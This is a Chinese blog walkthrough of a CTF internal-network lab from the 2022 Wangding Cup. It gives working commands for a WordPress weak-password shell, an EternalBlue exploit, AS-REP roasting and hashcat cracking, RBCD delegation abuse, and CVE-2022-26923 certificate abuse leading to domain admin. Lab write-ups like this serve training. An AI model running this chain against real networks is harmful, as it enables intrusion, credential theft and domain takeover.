春秋云境-2022网鼎杯半决赛复盘

发布于 2023-07-28  2521 次阅读


简介:

该靶场为 2022 第三届网鼎杯决赛内网靶场复盘。完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有 4 个 flag,分布于不同的靶机。

靶场链接:

https://yunjing.ichunqiu.com/major/detail/1096?type=2

挑战开始:

flag1

首先扫描下目标IP端口

nmap -sC -sV 39.98.118.179

PORT    STATE SERVICE    VERSION
22/tcp  open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 8e6cbc902801ebc294fc416feae7004b (RSA)
|   256 20efa9b96f37a8ce09ba90ee19fc6f58 (ECDSA)
|_  256 2ec70bc339cf5b767e9f93172d642f11 (ED25519)
25/tcp  open  smtp?
|_smtp-commands: Couldn't establish connection on port 25
80/tcp  open  tcpwrapped
110/tcp open  pop3?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

可以看到并没有开放多少端口
访问80看一看

明显是个wordpress,尝试访问后台
http://39.98.118.179/wp-admin
试了下弱口令
admin/123456
成功进入后台

wp后台的getshell比较简单
直接改模板文件

然后访问,成功shell

根目录下找到flag1

flag2

上传fsacn探测下内网情况

172.22.15.13:88 open
172.22.15.24:3306 open
172.22.15.35:445 open
172.22.15.18:445 open
172.22.15.24:445 open
172.22.15.13:445 open
172.22.15.35:139 open
172.22.15.24:139 open
172.22.15.13:139 open
172.22.15.18:139 open
172.22.15.35:135 open
172.22.15.24:135 open
172.22.15.18:135 open
172.22.15.13:135 open
172.22.15.18:80 open
172.22.15.24:80 open
172.22.15.26:80 open
172.22.15.26:22 open
[*] NetBios: 172.22.15.35    XIAORANG\XR-0687               
[+] 172.22.15.24    MS17-010    (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetBios: 172.22.15.13    [+]DC XR-DC01.xiaorang.lab          Windows Server 2016 Standard 14393 
[*] NetInfo:
[*]172.22.15.13
   [->]XR-DC01
   [->]172.22.15.13
[*] NetInfo:
[*]172.22.15.24
   [->]XR-WIN08
   [->]172.22.15.24
[*] NetInfo:
[*]172.22.15.35
   [->]XR-0687
   [->]172.22.15.35
[*] NetBios: 172.22.15.24    WORKGROUP\XR-WIN08                  Windows Server 2008 R2 Enterprise 7601 Service Pack 1 
[*] 172.22.15.13  (Windows Server 2016 Standard 14393)
[*] NetInfo:
[*]172.22.15.18
   [->]XR-CA
   [->]172.22.15.18
[*] NetBios: 172.22.15.18    XR-CA.xiaorang.lab                  Windows Server 2016 Standard 14393 
[*] WebTitle: http://172.22.15.26       code:200 len:39962  title:XIAORANG.LAB
[*] WebTitle: http://172.22.15.18       code:200 len:703    title:IIS Windows Server
[*] WebTitle: http://172.22.15.24       code:302 len:0      title:None 跳转url: http://172.22.15.24/www
[+] http://172.22.15.18 poc-yaml-active-directory-certsrv-detect 
[*] WebTitle: http://172.22.15.24/www/sys/index.php code:200 len:135    title:None

分析一下内网情况:
172.22.15.13 DC
172.22.15.18 CA
172.22.15.24 内网单独一台win机器
172.22.15.26 入口
172.22.15.35 域内成员机

因为172.22.15.24这台有ms17010,所以先看看他
先用frp做隧道(常规上传执行)
接着使用msf挂代理打

search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 172.22.15.24
run

msf这个打成功了,但是进不去shell

最后通过加载powershell成功添加用户

load powershell
powershell_execute "net user ljc qwer1234! /add"
powershell_execute "net localgroup administrators ljc /add"

成功RDP

成功找到flag2

flag3

在msf上用kiwi看了下,并没有什么凭证。
看见桌面上有一个phpstudy,打开发现开启了web服务

尝试进入数据库找一找密码

找到管理员密码,然后解密123456--

进入到后台后,在团队列表中发现了一些有用的账号

先进行一波搜集

lixiuying@xiaorang.lab
lixiaoliang@xiaorang.lab
zhangyi@xiaorang.lab
jiaxiaoliang@xiaorang.lab
zhangli@xiaorang.lab
zhangwei@xiaorang.lab
liuqiang@xiaorang.lab
wangfang@xiaorang.lab
wangwei@xiaorang.lab
wanglihong@xiaorang.lab
huachunmei@xiaorang.lab
wanghao@xiaorang.lab
zhangxinyu@xiaorang.lab
huzhigang@xiaorang.lab
lihongxia@xiaorang.lab
wangyulan@xiaorang.lab
chenjianhua@xiaorang.lab

先来尝试一下看有没有用户没有设置Kerberos 预身份认证

proxychains python3 GetNPUsers.py -no-pass -dc-ip 172.22.15.13 -usersfile /home/kali/Desktop/user.txt xiaorang.lab/
成功返回两个票据

尝试使用hashcat解密

hashcat -m 18200 --force -a 0 /home/kali/Desktop/hash.txt --wordlist /usr/share/wordlists/rockyou.txt

成功破解密码

lixiuying@xiaorang.lab/winniethepooh
huachunmei@xiaorang.lab/1qaz2wsx

接着尝试登陆,成功登陆172.22.15.35机器
先简单看了下这两个用户所在组,发现都只是普通域内用户。
接着查看下 lixiuying 用户对当前机器的 DACL

Import-Module .\PowerView.ps1
Get-DomainUser -Identity lixiuying -Properties objectsid
Get-DomainObjectAcl -Identity XR-0687 | ?{$_.SecurityIdentifier -match "S-1-5-21-3745972894-1678056601-2622918667-1131"}

发现lixiuying用户对当前机器有GenericWrite权限,意味着可以修改该机器的任何属性,接下来可以通过 RBCD(基于资源的约束委派)进行提权。

直接使用工具生成机器账户
https://github.com/pkb1s/SharpAllowedToAct.git

SharpAllowedToAct.exe -m ljc886 -p qwer1234! -t XR-0687 -a XR-DC01.xiaorang.lab -d xiaorang.lab

接着使用 impacket 的 getST.py 生成票据

proxychains python3 getST.py xiaorang.lab/ljc886\$:qwer1234! -dc-ip 172.22.15.13 -spn cifs/XR-0687.xiaorang.lab -impersonate Administrator

接着使用生成的 Administrator.ccache 票据获取系统管理员权限

export KRB5CCNAME=Administrator.ccache
proxychains impacket-wmiexec XR-0687.xiaorang.lab -no-pass -k -dc-ip 172.22.15.13

这里要先设置下域名IP

接着就会成功反弹一个shell,成功找到flag3

flag4

最后一个flag肯定是域提权,先前看到fscan的扫描结果里面,有一台CA服务器,那估计就是和证书相关的漏洞。
首先用Certify扫描了下,发现并不是证书模板相关的漏洞

这时候想到去年出现过一个CVE-2022–26923
先在kali安装certipy

pip3 install certipy-ad

通过 certipy 创建一个机器账号 HACK,并且设置 DNS Host Name 为域控的 XR-DC01.xiaorang.lab

proxychains certipy account create -u lixiuying@xiaorang.lab -p winniethepooh -dc-ip 172.22.15.13 -user HACK -pass qwer1234! -dns 'XR-DC01.xiaorang.lab'

查询域控 CA 名

proxychains certipy find -u lixiuying@xiaorang.lab -p winniethepooh -dc-ip 172.22.15.13

用该机器账户向 XR-CA 请求证书

proxychains certipy req -u HACK\$@xiaorang.lab -p qwer1234! -target 172.22.15.18 -ca "xiaorang-XR-CA-CA" -template Machine

用申请到的证书进行 PKINIT Kerberos 身份认证,获取域控制器账号 TGT 票据

proxychains certipy auth -pfx xr-dc01.pfx -dc-ip 172.22.15.13 -debug

这里遇到了一个报错,KDC_ERR_PADATA_TYPE_NOSUPP 错误,显示 KDC 不支持 PADATA 类型(预认证数据), Kerberos 预身份验证失败。

参考了下whoami师傅的文章
https://whoamianony.top/posts/pass-the-certificate-when-pkinit-is-nosupp/

先转换一下请求到的证书格式

certipy cert -pfx xr-dc01.pfx > cert.pem

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

接着利用 whoami 师傅的工具,通过证书认证到 LDAPS,添加机器账户 HACK03,并设置 HACK03 到域控制器 XR-DC01 的 RBCD

PassTheCertificate.exe -CertPath .\cert.pfx -MachineAccount HACK03$ -MachinePassword Qwer1234 -Target "CN=XR-DC01,OU=Domain Controllers,DC=xiaorang,DC=lab"

使用 impacket 的 getST.py 生成票据

proxychains impacket-getST xiaorang.lab/HACK03\$:Qwer1234 -dc-ip 172.22.15.13 -spn cifs/XR-DC01.xiaorang.lab -impersonate Administrator

然后使用生成的 Administrator.ccache 票据获取系统管理员权限

export KRB5CCNAME=Administrator.ccache
proxychains impacket-wmiexec XR-DC01.xiaorang.lab -no-pass -k -dc-ip 172.22.15.13

这里也需要配置下hosts
成功shell

成功获取flag4

届ける言葉を今は育ててる
最后更新于 2023-07-28